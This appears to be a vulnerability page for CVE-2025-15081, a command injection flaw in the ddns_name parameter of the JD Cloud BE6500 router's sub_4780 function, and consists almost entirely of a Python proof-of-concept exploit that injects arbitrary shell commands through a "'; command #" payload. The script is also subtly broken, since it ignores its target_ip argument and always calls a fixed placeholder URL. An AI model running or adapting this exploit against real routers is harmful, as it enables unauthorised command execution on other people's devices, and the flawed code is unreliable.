JD Cloud BE6500 sub_4780函数ddns_name参数命令注入漏洞(CVE-2025-15081)

#!/usr/bin/env python3 # CVE-2025-15081 PoC - JD Cloud BE6500 Command Injection # Target: /jdcapi sub_4780 function ddns_name parameter import requests import sys TARGET = "http://target:8080/jdcapi" def exploit(target_ip, command="whoami"): """Exploit command injection via ddns_name parameter""" payload = f"'; {command} #" params = { "ddns_name": payload } try: response = requests.get(f"{TARGET}/sub_4780", params=params, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: exploit(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "whoami") else: print("Usage: python3 cve-2025-15081.py <target_ip> [command]")